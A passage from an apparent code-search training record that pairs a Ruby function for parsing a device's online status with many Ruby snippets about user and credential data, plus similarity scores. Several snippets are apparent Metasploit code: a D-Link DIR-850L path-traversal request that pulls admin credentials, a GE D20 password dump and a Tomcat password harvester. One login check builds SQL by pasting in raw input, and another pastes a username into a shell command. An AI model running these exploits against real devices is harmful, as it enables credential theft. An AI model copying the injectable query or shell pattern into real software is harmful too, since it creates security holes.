"def parseusers(f, userentryptr)\n f.seek(userentryptr + 0x14)\n dstart = makefptr(f.read(4))\n f.seek(userentryptr + 0x1C)\n numentries = makelong(f.read(4))\n f.seek(userentryptr + 0x60)\n headerlen = makeword(f.read(2))\n f.seek(userentryptr + 40) # sorry decimal\n entrylen = makeword(f.read(2)) # sorry this is decimal\n logins = Rex::Text::Table.new(\n 'Header' => \"D20 usernames, passwords, and account levels\\n(use for TELNET authentication)\",\n 'Indent' => 1,\n 'Columns' => [\"Type\", \"User Name\", \"Password\"])\n\n 0.upto(numentries -1).each do |i|\n f.seek(dstart + headerlen + i * entrylen)\n accounttype = makeword(f.read(2))\n f.seek(dstart + headerlen + i * entrylen + 2)\n accountname = makestr(f, dstart + headerlen + i * entrylen + 2)\n f.seek(dstart + headerlen + i * entrylen + 2 + 22)\n accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)\n if accountname.size + accountpass.size > 44\n print_error(\"Bad account parsing at #{dstart + headerlen + i * entrylen}\")\n break\n end\n logins << [accounttype, accountname, accountpass]\n report_cred(\n ip: datastore['RHOST'],\n port: 23,\n service_name: 'telnet',\n user: accountname,\n password: accountpass,\n proof: accounttype\n )\n end\n if not logins.rows.empty?\n loot = store_loot(\n \"d20.user.creds\",\n \"text/csv\",\n datastore['RHOST'],\n logins.to_s,\n \"d20_user_creds.txt\",\n \"General Electric TELNET User Credentials\",\n datastore['RPORT']\n )\n print_line logins.to_s\n print_status(\"Loot stored in: #{loot}\")\n else\n print_error(\"No data collected\")\n end\n end",
"def userinfo\n if @user.nil?\n nil\n elsif @password.nil?\n @user\n else\n @user + ':' + @password\n end\n end",
"def user_details(login, authenticated = false)\n result = nil\n if authenticated\n auth_connection(HTTP_GET, \"/api/users/#{login}.xml\") do |xml|\n result = User.new xml\n end\n else\n public_connection(HTTP_GET, \"/api/users/#{login}.xml\") do |xml|\n result = User.new xml\n end\n end\n result\n end",
"def contacts(xml)\n xml.__send__(:\"clientbio:Password\", \"Testing\")\n end",
"def readXmlIntoString(hashed_data3, path, dataFolder)\r\n str = File.open(path+\"\\\\#{dataFolder}\\\\users.xml\") #{ |f| Nokogiri::XML(f) }\r\n doc = Nokogiri.XML(str)\r\n doc.xpath('//user').each do |zone|\r\n hashed_data3 << { \"userid\" => zone.xpath('userid').text, \"firstname\" => zone.xpath('firstname').text, \"lastname\" => zone.xpath(\"surname\").text, \"username\" => zone.xpath(\"username\").text, \"type\" => zone.xpath(\"type\").text, \"lastlogin_time\" => zone.xpath(\"lastlogintime\").text}\r\n end\r\n return hashed_data3\r\n end",
"def all\n xml_doc.xpath('/MediaContainer/User').map {|n| [n['email'],n['username']] }\n end",
"def retrieve_creds\r\n begin\r\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\"?>\\r\\n\"\r\n xml << \"<postxml>\\r\\n\"\r\n xml << \"<module>\\r\\n\"\r\n xml << \" <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\\r\\n\"\r\n xml << \"</module>\\r\\n\"\r\n xml << \"</postxml>\"\r\n res = send_request_cgi({\r\n 'uri' => '/hedwig.cgi',\r\n 'method' => 'POST',\r\n 'encode_params' => false,\r\n 'headers' => {\r\n 'Accept-Encoding' => 'gzip, deflate',\r\n 'Accept' => '*/*'\r\n },\r\n 'ctype' => 'text/xml',\r\n 'cookie' => \"uid=#{Rex::Text.rand_text_alpha_lower(8)}\",\r\n 'data' => xml,\r\n })\r\n if res.body =~ /<password>(.*)<\\/password>/ # fixes stack trace issue\r\n parse = res.get_xml_document\r\n username = parse.at('//name').text\r\n password = parse.at('//password').text\r\n vprint_good(\"#{peer} - Retrieved the username/password combo #{username}/#{password}\")\r\n loot = store_loot(\"dlink.dir850l.login\", \"text/plain\", rhost, res.body)\r\n print_good(\"#{peer} - Downloaded credentials to #{loot}\")\r\n return username, password\r\n else\r\n fail_with(Failure::NotFound, \"#{peer} - Credentials could not be obtained\")\r\n end\r\n rescue ::Rex::ConnectionError\r\n fail_with(Failure::Unknown, \"#{peer} - Unable to connect to target.\")\r\n end\r\n end",
"def get_user_details(account)\n # Get the user's profile information.\n response = access_token(account).get('http://gdata.youtube.com/feeds/api/users/default')\n xml = Nokogiri::XML(response.body)\n username = xml.xpath('//yt:username/text()', {'yt' => 'http://gdata.youtube.com/schemas/2007'}).to_s\n first_name = xml.xpath('//yt:firstName/text()', {'yt' => 'http://gdata.youtube.com/schemas/2007'}).to_s\n last_name = xml.xpath('//yt:lastName/text()', {'yt' => 'http://gdata.youtube.com/schemas/2007'}).to_s\n\n # Return the user details.\n return {:username => username, :full_name => \"#{first_name} #{last_name}\", :url => \"http://www.youtube.com/user/#{username}\"}\n end",
"def parse_user_info(node)\n return nil if node.nil?\n {}.tap do |hash|\n node.children.each do |e|\n unless e.kind_of?(Nokogiri::XML::Text) || e.name == 'proxies'\n # There are no child elements\n if e.element_children.count == 0\n if hash.has_key?(e.name)\n hash[e.name] = [hash[e.name]] if hash[e.name].is_a? String\n hash[e.name] << e.content\n else\n hash[e.name] = e.content\n end\n elsif e.element_children.count\n # JASIG style extra attributes\n if e.name == 'attributes'\n hash.merge!(parse_user_info(e))\n else\n hash[e.name] = [] if hash[e.name].nil?\n hash[e.name] = [hash[e.name]] if hash[e.name].is_a? String\n hash[e.name].push(parse_user_info(e))\n end\n end\n end\n end\n end\n end",
"def split_userinfo(ui)\n return nil, nil unless ui\n user, password = ui.split(':', 2)\n\n return user, password\n end",
"def users_get_info_response_xml\n <<-XML\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <users_getInfo_response xmlns=\"\" xmlns:xsi=\"\" xsi:schemaLocation=\"\" list=\"true\">\n\t<user>\n\t <uid>kangtk</uid>\n\t <nickname>康泰克</nickname>\n\t <facebig>http://userface3.51.com/ce/25/kangtk_130.gif?v=20071208033821</facebig>\n\t <sex>1</sex>\n\t <vip>3</vip>\n\t <isconfirm>1</isconfirm>\n\t</user>\n </users_getInfo_response>\n XML\n end",
"def read_credentials\n File.readlines(USERPASS_FILE).each do |line|\n user, pass = line.split\n pass = \"\" if pass == '(none)'\n @crends << [\"#{user}\", pass]\n end\n end",
"def get_user(name)\n @file = \"/private/var/db/dslocal/nodes//#{resource[:dslocal_node]}/users/#{name}.plist\"\n NSMutableDictionary.dictionaryWithContentsOfFile(@file)\n end",
"def get_login_info\n username = ask(\"Acunote Login name:\")\n password = ask(\"Acunote(LDAP) Password:\") {|q| q.echo = false}\n {:username => username, :password => password}\n end",
"def get_user_info(user)\n soapmsg = build_soap_envelope do |type, builder|\n if(type == :header)\n else\n builder.GetUserInfo {\n builder.parent.default_namespace = @default_ns\n builder.userLoginName(user)\n }\n end\n end\n soaprsp = Nokogiri::XML(send_soap_request(soapmsg.doc.to_xml))\n ns = {'xmlns' => @default_ns}\n user = soaprsp.xpath('//xmlns:GetUserInfo/xmlns:User', ns).first\n Types::User.new(self,user)\n end",
"def list_users(api_object)\r\n puts \"Current Users:\"\r\n doc = Nokogiri::XML.parse api_object.read\r\n names = doc.xpath('users').collect {|e| e.text }\r\n puts names.join(\", \")\r\n puts \"\"\r\nend",
"def user_credentials\n keys = %w[nome cognome email password]\n user_params = select_params(params, keys)\n user_params\n end",
"def password\n first_element_text('password')\n end",
"def valiateUser(uname, upass)\n @conn.exec( \"SELECT name FROM user_login WHERE name='#{uname}' AND upass='#{upass}'\" ) do |result|\n result.each do |row|\n @user = row['name']\n end\n end\n\treturn @user\n end",
"def create_xml\n self.current_user =\n User.authenticate(params[:login], params[:password])\n if logged_in?\n if params[:remember_me] == \"1\"\n self.current_user.remember_me\n cookies[:auth_token] = {\n :value => self.current_user.remember_token,\n :expires => self.current_user.remember_token_expires_at\n }\n end\n render :xml => self.current_user.to_xml\n else\n render :text => \"badlogin\"\n end\n end",
"def user_info\n\t\t\"name: #{name} \\n\"+\n\t\t\"email: #{email}\"\n\t\t\t\n\tend",
"def user_login\n @raw['user']['login']\n end",
"def _io_user_data(username)\n (node['etc'] && node['etc']['passwd'] && node['etc']['passwd'][username]) || {\n 'uid' => username,\n 'gid' => username,\n 'dir' => \"/home/#{username}\"\n }\nend",
"def fill_in_credentials\n hide_soft_keyboard\n clear_text_in(\"#{WEB_VIEW} xpath:'#{USER_NAME_FORM_XPATH}'\")\n enter_text(\"#{WEB_VIEW} xpath:'#{USER_NAME_FORM_XPATH}'\", CREDENTIALS[:username])\n hide_soft_keyboard\n\n clear_text_in(\"#{WEB_VIEW} xpath:'#{PASSWORD_FORM_XPATH}'\")\n enter_text(\"#{WEB_VIEW} xpath:'#{PASSWORD_FORM_XPATH}'\", CREDENTIALS[:password])\n hide_soft_keyboard\n end",
"def get_user(username)\n Chef::Log.info username\n user = @node[:users][username]\n Chef::Log.info user.inspect\n user\nend",
"def get_username(password)\n user_pool = OpenNebula::UserPool.new(client)\n rc = user_pool.info\n raise rc.message if check_rc(rc)\n\n password = password.to_s.delete(\"\\s\")\n\n xpath = \"USER[PASSWORD=\\\"#{password}\\\"]/NAME\"\n username = user_pool[xpath]\n\n if username.nil?\n user_pool.each do |x509_user|\n x509_user[\"PASSWORD\"].split('|').each do |x509_user_dn|\n if x509_user_dn == password\n username = x509_user[\"NAME\"]\n break\n end\n end if x509_user[\"AUTH_DRIVER\"] == \"x509\"\n\n break unless username.nil?\n end\n end\n\n username\n end",
"def user\n parse!\n @user\n end",
"def users(doc)\n #(doc/:user).inject([]) { |users, user| users << User.new_from_xml(user); users }\n User.new_from_xml(doc)\n end",
"def load_credentials(username, password)\n\n if username.empty? || password.empty?\n # unused feature, for now \n\t #@username, @password = RLCredentials.load(\"lb\")\n print \"username: \"\n @username = STDIN.gets.chomp\n print \"password: \"\n @password = STDIN.noecho(&:gets).chomp\n print \"\\n\"\n else\n @username = username\n @password = password\n end\n\n # we'll want to test the credentials here by calling the rest_login\n call_rest_login\n\n end",
"def parse_xml xml_doc\n return nil if xml_doc.at(\"title\").nil?\n @id = id\n\n %w[title description upload_date number_of_likes number_of_plays width height number_of_comments url duration].each do |attribute|\n instance_variable_set(\"@#{attribute}\", xml_doc.at(attribute).inner_html)\n end\n\n @owner = User.new\n %w[id username display_name is_plus is_staff profileurl realname username videosurl].each do |attribute|\n @owner.instance_variable_set(\"@#{attribute}\", xml_doc.at(\"owner\").attributes[attribute])\n end\n\n (xml_doc/:thumbnail).each do |thumbnail|\n @thumbs << build_thumbnail(thumbnail)\n end\n end",
"def get_users\n users = []\n `/usr/sbin/jamf listUsers`.scan(/<name>(.*?)\\<\\/name>/) { users << $1 }\n users\nend",
"def show\n @user = User.find(params[:id])\n render :xml => @user.to_xml(:except => [ :password ])\n end",
"def parse_snmp_users(text)\n text.split(\"\\n\\n\").map do |user_s|\n user_s.scan(/^(\\w+).*?: (.*)/).each_with_object({}) do |(h, v), m|\n key = SNMP_USER_PARAM[h.downcase.intern] || h.downcase.intern\n m[key] = case key\n when :privacy then v =~ /AES/ ? :aes128 : :des\n when :version then v.sub('v2c', 'v2').intern\n when :auth then v.downcase.intern\n when :roles then v.sub(/ \\(.*?\\)/, '')\n else v.downcase\n end\n end\n end\n end",
"def getUserDetails\n\t\tuser = java.util.HashMap.new()\n\t\t# user name\n\t\tuser.put(KEY_NAME, @pref.getString(KEY_NAME, nil))\n\t\t\n\t\t# user email id\n\t\tuser.put(KEY_EMAIL, @pref.getString(KEY_EMAIL, nil))\n\t\t\n\t\t# return user\n\t\treturn user;\n\tend",
"def parse_config(config)\n\t\tif not config =~ /<Version>\\d<\\/Version>/\n\t\t\tcreds = {}\n\t\t\tcred_group = config.split(\"</SavedCredentials>\")\n\t\t\tcred_group.each { |cred|\n\t\t\t\tuser = /<Username>([^<]+)<\\/Username>/.match(cred)\n\t\t\t\tpass = /<Password>([^<]+)<\\/Password>/.match(cred)\n\t\t\t\tif user and pass\n\t\t\t\t\tcreds[user[1]] = pass[1]\n\t\t\t\tend\n\t\t\t}\n\t\t\treturn creds\n\t\telse\n\t\t\tprint_error(\"Module only works against configs from version < 1.7.15\")\n\t\t\treturn nil\n\t\tend\n\tend",
"def create_user(resource)\n session = Puppet::NetDev::CE::Device.session\n\n set_user_xml = '<rpc><edit-config><target><running/></target><default-operation>merge</default-operation><error-option>rollback-on-error</error-option><config><aaa xmlns=\"http://www.huawei.com/netconf/vrp\" content-version=\"1.0\" format-version=\"1.0\"><lam><users><user operation=\"merge\"><userName>' + (resource[:name]).to_s + '</userName>'\n\n if resource[:password]\n set_user_xml += '<password>' + (resource[:password]).to_s + '</password>'\n end\n\n set_user_xml += '</user></users></lam></aaa></config></edit-config></rpc>'\n\n session.rpc.do_config(set_user_xml)\n end",
"def enumerate_tomcat_creds(val_installpath)\n users = []\n userpath = val_installpath + \"\\\\conf\\\\tomcat-users.xml\"\n if exist?(userpath)\n xml_data = read_file(userpath)\n doc = REXML::Document.new(xml_data)\n\n if not doc.elements.empty?\n doc.elements.each('tomcat-users/user') do |e|\n e_user=e.attributes['name']\n if e_user.length >0\n e_user=e.attributes['name']\n else\n e.user=e_user=e.attributes['username']\n end\n users << [ e_user,e.attributes['password'],e.attributes['roles'] ]\n print_good(\"\\t\\t+ User:[#{e_user}] Pass:[#{e.attributes['password']}] Roles:[#{e.attributes['roles']}]\")\n end\n else\n print_error(\"\\t\\t! No Users Found\")\n return users\n end\n end\n\n return users\n rescue\n print_error(\"\\t\\t! could not identify users\")\n return users || []\n end",
"def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t']\n }\n end",
"def userinfo\n unless defined?(@userinfo)\n @userinfo = solr_url.userinfo if solr_url\n user = user_configuration_from_key('solr', 'user')\n pass = user_configuration_from_key('solr', 'pass')\n @userinfo ||= [ user, pass ].compact.join(\":\") if user && pass\n @userinfo ||= default_userinfo\n end\n @userinfo\n end",
"def user_info\n {\n 'uid' => user_hash['feed']['author'][0]['email']['$t'],\n 'nickname' => user_hash['feed']['author'][0]['name']['$t'],\n }\n end",
"def retrieve\n content = IO.readlines(url).join('')\n doc = Nokogiri::XML(content)\n\tself.class.rules.each_pair do |k,v|\n\t tmp = doc.xpath(v)\n\t self.send(\"#{k}=\", tmp[0].content) unless tmp[0].nil?\t\t\n\tend\n\tPlace.logger.info(\"retrieved user at #{self.name}\")\n\tself.save\n end",
"def profile_xml(xml, values)\n ns_key = \"#{namespace_key(:profile)}\"\n xml[ns_key].Api_type values[:api_type]\n xml[ns_key].LicenceKey values[:license_key]\n xml[ns_key].LoginID values[:login_id]\n xml[ns_key].Version values[:version]\n xml\n end",
"def xml_query_profile(xml) \n if current_user \n profile_name = (xml.root.get_elements('AccessProfile').first || empty).text \n profile_name = 'public' unless profile_name \n @profile = current_user.profiles.find_by_title(profile_name) \n return render(:text => \"<Response>bad profile</Response>\") unless @profile \n \n properties = @profile.properties.map{|p| p.property_type.title }.join(',') \n return render(:text => \"<Response>#{properties}</Response>\") \n end \n render(:text => \"<Response>Internal Error</Response>\") \n end",
"def getUser(userName)\n begin\n aUrl = \"#{url}?page=userAction&action=Edit&uid=#{CGI.escape(name+'\\\\'+userName)}\"\n response = getHtml(aUrl)\n content = response.body\n user = UserClass.new\n processedContent= content.scan(/User ID<[^<]*<td>([^<]*)/)\n if(processedContent !=nil)\n user.name = processedContent[0][0]\n user.passwd = nameSansDomain(user.name)\n else \n raise \"Cannot get user #{userName} from url #{aurl}\" \n end\n user.firstname = content.scan(/name=\"givenName\" value=\"([^\"]*)/)[0][0]\n user.lastname = content.scan(/name=\"sn\" value=\"([^\"]*)/)[0][0]\n user.enableTime = content.scan(/name=\"enableTime\" value=\"([^\"]*)/)[0][0]\n user.mail = content.scan(/name=\"mail\" value=\"([^\"]*)/)[0][0]\n certOk = content.scan(/value=\"([^\"]*)\" CHECKED/)[0][0]\n user.certOkWhenDisabled = (certOk=='TRUE')\n authreq = content.scan(/value=\"([^\"]*)\".{0,40}selected/m)\n if authreq != []\n user.authreq = authreq[0][0]\n else\n user.authreq = nil\n end\n user.roles = rolesForUser(user.name)\n return user\n rescue Exception => e\n msg = \"Error #{e.class}, #{e.message}, while retrieving user #{userName}\"\n logInfoMsg msg\n logInfoMsg e.backtrace.join(\"\\n\")\n u = UserClass.premadeUser(userName)\n u= UserClass.new(userName, userName, \"EITHER\", userName, userName,\n ['Logistician', 'PolicyAdministration'])\n end\n end",
"def user_info\n response = from_server \"api/user.json\"\n response.data\n end",
"def mobile_login(email, password)\n user = authenticate(email, password)\n\t xml = \"<user>\"\n \n if user\n mobile_token = MobileToken.new\n mobile_token.user_id = user.id\n mobile_token.token = Digest::SHA2.hexdigest(user.id.to_s + Time.now().to_s)\n mobile_token.save\n \n xml += generate_mobile_xml(user, mobile_token)\n end\n\n xml += \"</user>\"\n\t\t\n xml\n end",
"def normalized_userinfo\n normalized_user + (password ? \":#{normalized_password}\" : \"\") if userinfo\n end",
"def process_login_response(email, password, response)\n @email = email\n @password = password\n @token = Parser.extract_user_token response\n @id = Parser.login_object_id response\n @xp = Parser.extract_xp response\n end",
"def get_user(buf) \r\n return nil if buf[40,4].unpack('L').first <= 0 # UserSidLength\r\n\r\n name = 0.chr * MAX_SIZE\r\n name_size = [name.size].pack('L')\r\n domain = 0.chr * MAX_SIZE\r\n domain_size = [domain.size].pack('L')\r\n snu = 0.chr * 4\r\n \r\n offset = buf[44,4].unpack('L').first # UserSidOffset\r\n \r\n val = LookupAccountSid(\r\n @server,\r\n [buf].pack('P').unpack('L').first + offset,\r\n name,\r\n name_size,\r\n domain,\r\n domain_size,\r\n snu\r\n )\r\n \r\n # Return nil if the lookup failed\r\n return val ? name.nstrip : nil\r\n end",
"def print_details\n puts '=================: User-details: ============'\n puts \"Email-address: #{email}\"\n puts \"Domain name: #{domain}\"\n puts \"Domain owner: #{username}\"\n @trueuser = `grep -w \\^#{username} /etc/trueuserowners|cut -d\\: -f2|uniq`.chomp\n puts 'True owner: ' + `grep -w #{@trueuser}$ /etc/trueuserdomains|uniq` if @trueuser != 'root'\n puts '============================================'\n end",
"def parse_user(data)\n badges = parse_badges(data['badges'])\n accounts = parse_accounts(data['accounts'])\n User.new(data, badges, accounts)\n end",
"def authenticate(username, password)\n username = JID.new(username).to_s rescue nil\n return if [username, password].any? {|arg| (arg || '').strip.empty? }\n\n ldap = connect(@config[:dn], @config[:password])\n entries = ldap.search(\n attributes: [@config[:name_attr], 'mail'],\n filter: filter(username))\n return unless entries && entries.size == 1\n\n user = if connect(entries.first.dn, password).bind\n name = entries.first[@config[:name_attr]].first\n User.new(jid: username, name: name.to_s, roster: [])\n end\n user\n end",
"def get_password(username, driver=nil)\n user_pool = OpenNebula::UserPool.new(client)\n rc = user_pool.info\n raise rc.message if check_rc(rc)\n\n xpath = \"USER[NAME=\\\"#{username}\\\"\"\n if driver\n xpath << \" and (AUTH_DRIVER=\\\"\"\n xpath << driver.split('|').join(\"\\\" or AUTH_DRIVER=\\\"\") << '\")'\n end\n xpath << \"]/PASSWORD\"\n\n user_pool[xpath]\n end",
"def authenticate(username, password)\n return nil unless password.start_with?(\"aspace-oauth-#{@provider}\")\n\n pw_path = File.join(Dir.tmpdir, password)\n return nil unless File.exist? pw_path\n\n info = JSON.parse(File.read(pw_path))['info']\n return nil unless username == info['username']\n\n JSONModel(:user).from_hash(\n username: username,\n name: info['name'],\n email: info['email']\n )\n end",
"def user_template_xml\n if NOKOGIRI\n @xml.xpath('USER_TEMPLATE').to_s\n else\n @xml.elements['USER_TEMPLATE'].to_s\n end\n end",
"def get_user(name)\n file = \"#{@@path_to_user_plists}/#{name}.plist\"\n user = NSMutableDictionary.dictionaryWithContentsOfFile(file)\n end",
"def to_xml\n return \"\" unless username && password\n\n builder = Builder::XmlMarkup.new\n builder.wsse :Security, \"xmlns:wsse\" => WSENamespace do |xml|\n xml.wsse :UsernameToken, \"wsu:Id\" => wsu_id, \"xmlns:wsu\" => WSUNamespace do\n xml.wsse :Username, username\n xml.wsse :Nonce, nonce\n xml.wsu :Created, timestamp\n xml.wsse :Password, password_node, :Type => password_type\n end\n end\n end",
"def add_authentication(xml)\n xml.tag! :Authentication do\n xml.tag! :client, @options[:login]\n xml.tag! :password, @options[:password]\n end\n end",
"def add_authentication(xml)\n xml.tag! :Authentication do\n xml.tag! :client, @options[:login]\n xml.tag! :password, @options[:password]\n end\n end",
"def parse_user search\n Hash[*search.split(',').map{|pair| pair.split('=').values_at(0..1)}.flatten]['uid']\n end",
"def user_info\n @user_info ||= raw_info.nil? ? {} : raw_info[\"person\"]\n end",
"def authenticate(user_name, password)\n options = {}\n options[:Username] = user_name\n options[:Password] = password\n\n response = self.class.post('/', :body => self.class.build_XML_request('Auth.Authenticate', self, options))\n\n self.class.response_valid? response\n if response['YourMembership_Response']['Auth.Authenticate']\n get_authenticated_user\n else\n false\n end\n end",
"def employee_username\n general_info_table_element[0][1].text\n end",
"def get_user_info\n response = send_method(:get_user_info)\n user_from(response)\n end",
"def person_online_auth_xml=(value)\n @children['person-online-auth-xml'][:value] = value\n end",
"def set_userinfo(user, password = nil)\n unless password\n user, password = split_userinfo(user)\n end\n @user = user\n @password = password if password\n\n [@user, @password]\n end",
"def user_from_omni omni=@omni\n #raise omni.to_yaml\n return User.new(\n :email => omni[:info][:email],\n :name => omni[:info][:name],\n :password => pw=Devise.friendly_token[0,20],\n :password_confirmation => pw\n )\n end",
"def user(user)\n return if user.nil? || user.empty?\n [:id, :name, :screen_name].each do |key|\n @xml.send \"#{key}_\", user[key] if user.key?(key)\n end\n if user.key?(:status)\n node(:status) do\n status(user[:status])\n end\n end\n end",
"def show\n @user = User.find(params[:id])\n @title = @user.username\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user.to_xml(:except => [:password_digest, :remember_token])}\n end\n end",
"def user_info\n auth_hash['user_info']\n end",
"def account\n Atheme::User.new(@session, match(/\\(account\\s([^\\(]+)\\):/))\n end",
"def initialize()\r\n super(XSD::QName.new(NAMESPACE, 'userCredentials'))\r\n end",
"def initialize()\r\n super(XSD::QName.new(NAMESPACE, 'userCredentials'))\r\n end",
"def get_ad_user_attributes(username, is_registered=false)\n found_entry = OP_CONN.search(filter: \"sAMAccountName=#{username}\").first\n return nil if found_entry.nil?\n save_user_image(username, get_user_entry_image(found_entry))\n convert_user_attributes(found_entry, is_registered ) unless found_entry.nil?\n rescue Net::LDAP::LdapError => e\n return nil\n end",
"def get_loginfo\n File.open(LOGINFO, \"r\") do |loginfo_file|\n @username = loginfo_file.gets.chomp\n @password = loginfo_file.gets.chomp\n end\n end",
"def puppet_user(host)\n puppet_config(host, 'user', section: 'master')\n end",
"def whoami\n result = nil\n auth_connection(HTTP_GET, '/api/test/whoami') do |xml|\n doc = REXML::Document.new xml\n result = doc.elements['vzaar-api/test/login'].text\n end\n result\n end",
"def user_data_xml\n run_url = 'http://nikerunning.nike.com/nikeplus/v1/services/widget/get_public_user_data.jsp?userID='\n run_url += @id.to_s\n open(run_url)\n end",
"def realname\r\n infoxml = get_info\r\n return infoxml.at('realname').inner_text\r\n end",
"def get_user_details_from_ldap(username)\n\tresult_attrs = [\"uid\", \"displayName\", \"mail\"]\n\tsearch_filter = Net::LDAP::Filter.eq(\"uid\", username)\n\tLDAP_CONNECTION.search(:filter => search_filter, :attributes => result_attrs) { |item| \n\t puts \"#{item.uid.first}: #{item.displayName.first} (#{item.mail.first})\" \n\t}\n\t\nend",
"def extract_login\n if self.valid\n key_pieces = self.key.split(\" \")\n self.login = key_pieces[2] if key_pieces.size == 3\n end\n self.save\n end",
"def parse_user(name, email, trailer)\n link_to_user User.find_by_any_email(email),\n name: name,\n email: email,\n trailer: trailer\n end",
"def user\n user = User.new\n user.read_creddentials\n user.login\n puts user.to_str\n end",
"def personal_information(xml)\n xml.__send__(:\"clientbio:DateOfBirth\", applicant.date_of_birth.to_fs(:ccms_date))\n xml.__send__(:\"clientbio:Gender\", \"UNSPECIFIED\")\n xml.__send__(:\"clientbio:MaritalStatus\", \"U\")\n xml.__send__(:\"clientbio:VulnerableClient\", false)\n xml.__send__(:\"clientbio:HighProfileClient\", false)\n xml.__send__(:\"clientbio:VexatiousLitigant\", false)\n xml.__send__(:\"clientbio:CountryOfOrigin\", \"GBR\")\n xml.__send__(:\"clientbio:MentalCapacityInd\", false)\n end",
"def process_basic_auth(auth)\n case auth\n when String\n self.login, self.password = auth.split(':', 2)\n when Hash\n self.login = auth[:login]\n self.password = auth[:password]\n end\n end",
"def users(passwords=false)\n if passwords\n doc = request(\"user-list_users\")\n else\n doc = request(\"user-list_users_no_pw\")\n end\n api_error?(doc)\n (doc/:data).inject([]) { |users, user| users << User.new_from_xml(user); users }\n end",
"def password_from_file()\n file = File.open(\"password.txt\", \"rb\")\n contents = file.read\n contents = contents.split(\":\")\n end",
"def getUserInfo(doc, tweet)\n\t@username = doc.at_css(\".js-action-profile-name b\").text\n\tputs \"Username: #{@username}\"\n\n\t@name = doc.at_css(\".show-popup-with-id\").text\n\tputs \"Name: #{@name}\"\n\n\t@user_location = tweet[/\\([\\s]*@([^\\)]+)\\)/i]\n\tif @user_location != nil\n\t\t@user_location = @user_location[3..(@user_location.length - 2)]\n\t\tputs \"User Location: #{@user_location}\"\n\tend\nend",
"def get_auth()\n\t\t\tfind_attributes(\"auth\").first\n\t\tend",
"def password\n @attributes[:password]\n end",
"def password\n @attributes[:password]\n end",
"def find_user(request, username, password)\n\n end",
"def valid_signin?(credentials)\n account_data = File.readlines(ROOT + \"/users.txt\")\n\n valid_credentials = account_data.map do |account|\n name, password = account.strip.split(\": \")\n [name, password]\n end.to_h\n\n valid_credentials.each do |(name, password)|\n return true if credentials[:username] == name && BCrypt::Password.new(password) == credentials[:password]\n end\n\n false\nend"
] |
[
"0.7280819",
"0.6717548",
"0.6440668",
"0.64326435",
"0.62647784",
"0.61255336",
"0.6028679",
"0.60228026",
"0.5913789",
"0.58559626",
"0.57994854",
"0.5770675",
"0.57188374",
"0.5694992",
"0.5691342",
"0.56799215",
"0.56663",
"0.5658985",
"0.558933",
"0.55221325",
"0.55113345",
"0.5434799",
"0.5394894",
"0.533774",
"0.5329824",
"0.53290343",
"0.5324742",
"0.5309182",
"0.5297287",
"0.5292569",
"0.5287779",
"0.5281296",
"0.52653736",
"0.52490264",
"0.52465475",
"0.52368206",
"0.5236669",
"0.5230669",
"0.5229911",
"0.5224446",
"0.5222177",
"0.52009374",
"0.516242",
"0.5152135",
"0.51479423",
"0.514514",
"0.5141984",
"0.5139681",
"0.5136148",
"0.5132887",
"0.5128432",
"0.5118213",
"0.51115304",
"0.5105273",
"0.50862944",
"0.5072554",
"0.5071264",
"0.5069546",
"0.5065822",
"0.50626045",
"0.5062333",
"0.50534683",
"0.50462633",
"0.504261",
"0.50372297",
"0.50372297",
"0.5031886",
"0.5017583",
"0.5015777",
"0.5012786",
"0.50037104",
"0.50002015",
"0.49994415",
"0.49916092",
"0.4985168",
"0.49768066",
"0.4971676",
"0.49621856",
"0.49576354",
"0.49576354",
"0.4957274",
"0.4952185",
"0.49420738",
"0.4931053",
"0.49286246",
"0.49232143",
"0.49207494",
"0.49183363",
"0.49135625",
"0.491343",
"0.49063838",
"0.49060494",
"0.4903379",
"0.48950386",
"0.48840362",
"0.48839074",
"0.48798704",
"0.48798704",
"0.48782715",
"0.48776922"
] |
0.66017085
|
2
|
Parses device's online status, and the possible status elements that are given
|
def parseOnlineStatus(doc, params, path)
status = {}
doc.find('//xmpp2rest/user/device/online/status').each do |status_element|
status_key = (status_element.attributes.get_attribute("status_key")) ? status_element.attributes.get_attribute("status_key").value : nil
if not status_key or status_key == ""
raise Exception.new("Error in status_key -attribute. (Must be given, and cannot be empty!)")
elsif not status_element.content or status_element.content == ""
raise Exception.new("Status element must have content!")
end
if status_key == "device_location" and
status_element.find_first("location/latitude") and status_element.find_first("location/longitude") and
status_element.find_first("location/latitude").content and status_element.find_first("location/longitude").content
location = {}
location.merge!({'latitude' => status_element.find_first("location/latitude").content.to_f})
location.merge!({'longitude' => status_element.find_first("location/longitude").content.to_f})
status.merge!({:device_location => YAML.dump(location)})
elsif status_key == "uploading_file" and
status_element.find_first("uploading_file") and status_element.find_first("uploading_file_hash") and
status_element.find_first("uploading_file").content and status_element.find_first("uploading_file_hash").content
status.merge!({'uploading_file_hash' => status_element.find_first("uploading_file_hash").content.to_s})
status.merge!({'uploading_file' => status_element.find_first("uploading_file").content.to_s})
else status_key != "device_location" and status_key != "uploading_file" and status_element.content
status.merge!({status_key => status_element.content.to_s})
end
end
params.merge!({:status => YAML.dump(status)})
return params
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_online_status(status)\n case status\n when :available, :online\n @notification_server.chg \"NLN\", 0\n when :busy\n @notification_server.chg \"BSY\", 0\n when :idle\n @notification_server.chg \"IDL\", 0\n when :brb, :be_right_back\n @notification_server.chg \"BRB\", 0\n when :away\n @notification_server.chg \"AWY\", 0\n when :phone, :on_the_phone\n @notification_server.chg \"PHN\", 0\n when :lunch, :out_to_lunch\n @notification_server.chg \"LUN\", 0\n else\n raise \"Wrong online status: #{status}\"\n end\n end",
